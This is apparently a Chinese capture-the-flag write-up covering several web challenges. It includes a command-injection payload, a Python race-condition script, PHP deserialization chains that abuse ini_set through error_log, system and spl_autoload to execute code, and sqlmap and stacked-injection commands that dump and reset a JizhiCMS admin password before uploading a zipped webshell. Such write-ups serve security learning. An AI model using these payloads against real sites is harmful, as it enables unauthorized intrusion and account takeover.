。。。。。。我傻了 数错字符了。。。。。
直接
?code=?>=`nl%09/*`
就可以了。
原来的做法
输入
?code=?>=`nl%09*`
?code=`nl%09/*>b`
开始竞争
import requests
import threading
import sys
session=requests.session()
url1="http://ba2bd9c4-6f58-45a1-a637-3cf0140e89c1.challenge.ctf.show:8080/sandbox/3fa05e3dafa3d6413be416b360149b5c/"
url2='http://ba2bd9c4-6f58-45a1-a637-3cf0140e89c1.challenge.ctf.show:8080/sandbox/3fa05e3dafa3d6413be416b360149b5c/b'
def write():
while True:
r = session.get(url1)
def read():
while True:
r = session.get(url2)
if len(r.text)!=9561: #随便get传一次就能得到这个长度
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
非预期了
class A{
}
class main{
public $settings;
public $params;
public function __construct(){
$this->settings=array(
'error_log'=>'yu.php',
'unserialize_callback_func'=>'',
'html_errors'=>false
);
$this->params=serialize(new A());
}
}
$a=new main();
echo serialize($a);
ini_set('error_log','yu.php');
错误日志写入的文件名
ini_set('unserialize_callback_func','mycallback');
当反序列化后,PHP会寻找mycallback这个方法来include这个类文件,如果你没定义这个方法则报错。
ini_set('html_errors',false);
不加这个的话,错误日志内容会html编码。
首先我们可以通过error_log生成php文件,剩下的就是怎么把想执行的命令在报错中显示。
剩下的就交给unserialize_callback_func了,只要值是没有定义的方法,就会把这个方法在报错中显示出来。
其实unserialize_callback_func还有一个功能,就是可以执行函数,函数的参数是反序列化的类名。
class main{
public $settings;
public $params;
public function __construct(){
$this->settings=array(
'unserialize_callback_func'=>'system',
);
$this->params='O:2:"ls":0:{}';
}
}
$a=new main();
echo serialize($a);
这样其实是可以执行system(‘ls’)的,但是类名只能有_(下划线)一个特殊符号,所以放弃了。
预期解
class settings{
}
class main{
public $settings;
public $params;
public function __construct(){
$this->settings=array(
'unserialize_callback_func'=>'spl_autoload',
);
//$this->params=serialize("
//$this->params=serialize(new settings()); 加载settings.inc
}
}
$a=new main();
echo serialize($a);
spl_autoload
它可以接收两个参数,第一个参数是$class_name,表示类名,第二个参数$file_extensions是可选的,表示类文件的扩展名,如果不指定的话,它将使用默认的扩展名.inc或.php
也就是说如果第一个参数是settings第二个没有传值,就会去加载(include)settings.inc文件,并且setting.inc文件内容我们可控。
可以sqlmap跑出来具体的管理员所在的表,也可以直接自己本地搭一下。
表名jz_level 列名 name,pass
pytno sqlmap.py url/home/jizhi_details/?id=1 -D jizhicms192 -T jz_level -C name,pass --dump --batch
得到用户名feng,和加密的密码
问的别的师傅说是堆叠注入,然后sqlmap跑了下,拿到个payload。
python sqlmap.py -u url/home/jizhi_details/?id=1 --technique S --risk 3 --level 5 --dbs --batch
接着修改管理员密码。
home/jizhi_details/?id=1';update jz_level set pass='a07b6751d2d9fb3a3a8488a030c69ec6' where name='feng'%23
在源码里找了下具体的对比密码的代码
我上面用的密码123456编码后的。
在数据库中存储的就是 md5(md5(123456).YF)。先md5加密123456,得到的字符串拼接上YF再进行md5加密。
接着进入后台找getshell点。题目给了个提示hint:后台似乎有个压缩包getshell
.
搜了下
发现有个和解压缩包相关的。在他之前还有个下载文件的.
也就是说我们把一句话压缩成zip,然后上传再解压就可以getshell了。
在插件里面发现了和下载相关的,应该就是这个地方了。
bp抓包,其中有如下这么一个包。
url我们改成自己vps的,返回了具体的位置。
再来看下解压的函数,最终会把解压的文件放入这个目录下。
我们在原来包的基础上将action改成file_upzip
接着去访问/A/exts/2.php就可以了 (因为压缩的文件是2.php)
剩下的就是.。。。。。。。。爆破用户名。。。。。。。。。。。。
试试从2020000000开始爆破
到2020036001出来了。。。。。。。。
非预期了